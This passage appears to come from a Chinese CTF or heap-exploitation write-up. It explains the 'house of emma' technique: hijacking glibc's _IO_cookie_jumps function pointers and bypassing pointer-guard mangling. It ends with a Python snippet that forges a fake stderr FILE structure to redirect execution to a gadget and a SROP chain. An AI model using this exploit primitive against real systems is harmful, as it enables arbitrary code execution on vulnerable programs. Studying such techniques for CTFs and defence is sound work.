5    JUMP_INIT(underflow, _IO_file_underflow),
6    JUMP_INIT(uflow, _IO_default_uflow),
7    JUMP_INIT(pbackfail, _IO_default_pbackfail),
8    JUMP_INIT(xsputn, _IO_file_xsputn),
9    JUMP_INIT(xsgetn, _IO_default_xsgetn),
10   JUMP_INIT(seekoff, _IO_cookie_seekoff),
11   JUMP_INIT(seekpos, _IO_default_seekpos),
```

```
  JUMP_INIT(setbuf, _IO_file_setbuf),
  JUMP_INIT(sync, _IO_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_cookie_read),
  JUMP_INIT(write, _IO_cookie_write),
  JUMP_INIT(seek, _IO_cookie_seek),
  JUMP_INIT(close, _IO_cookie_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue),
};
```

可以考虑其中的这几个函数：

```
static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }

```

```
29   ssize_t n = write_cb (cfile->__cookie, buf, size);
30   if (n < size)
31     fp->_flags |= _IO_ERR_SEEN;
32
33   return n;
34 }
35
36 static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir)
37 {
38   struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
39   cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
40 #ifdef PTR_DEMANGLE
41   PTR_DEMANGLE (seek_cb);
42 #endif
43
44   return ((seek_cb == NULL
45        || (seek_cb (cfile->__cookie, &offset, dir)
46            == -1)
47        || offset == (off64_t) -1)
48       ? _IO_pos_BAD : offset);
49 }
50
51 static int _IO_cookie_close (FILE *fp)
52 {
53   struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
54   cookie_close_function_t *close_cb = cfile->__io_functions.close;
55 #ifdef PTR_DEMANGLE
56   PTR_DEMANGLE (close_cb);
57 #endif
58
59   if (close_cb == NULL)
60     return 0;
61
62   return close_cb (cfile->__cookie);
63 }
```

其中涉及到的结构体定义：

```
1  struct _IO_cookie_file
2  {
3    struct _IO_FILE_plus __fp;
4    void *__cookie;
```

```
  cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
  cookie_read_function_t *read;        /* Read bytes.  */
  cookie_write_function_t *write;    /* Write bytes.  */
  cookie_seek_function_t *seek;        /* Seek/tell file position.  */
  cookie_close_function_t *close;    /* Close file.  */
} cookie_io_functions_t;
```

在这几个函数里，都有函数指针的调用，且这几个函数指针都在劫持的 IO_FILE 偏移的不远处，用同一个堆块控制起来就很方便，不过在任意调用之前也都需要绕过指针保护 PTR_DEMANGLE。此外，在调用函数指针的时候，其 rdi 都是 cfile->__cookie，控制起来也是非常方便的。

利用 house of KiWi 配合 house of emma 的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn (=> _IO_cookie_write)，这里用的是_IO_cookie_write 函数，用其他的当然也同理。

伪造的 IO_FILE 如下：

```
ROL = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

magic_gadget = libc.address + 0x1460e0 # mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

fake_stderr = p64(0)*3
fake_stderr += p64(0xffffffffffffffff)
fake_stderr = fake_stderr.ljust(0x78, b'\x00')
fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lock
# _IO_flockfile(fp) in __vfxprintf
fake_stderr = fake_stderr.ljust(0xc8, b'\x00')
fake_stderr += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake_vtable
# call [vtable]+0x38 (call _IO_new_file_xsputn)
# => call _IO_cookie_jumps+0x78 => call _IO_cookie_write
fake_stderr += p64(srop_address) # __cookie (rdi)
fake_stderr += p64(0)
fake_stderr += p64(ROL(magic_gadget ^ __pointer_chk_guard, 0x11, 64)) # __io_functions.write
```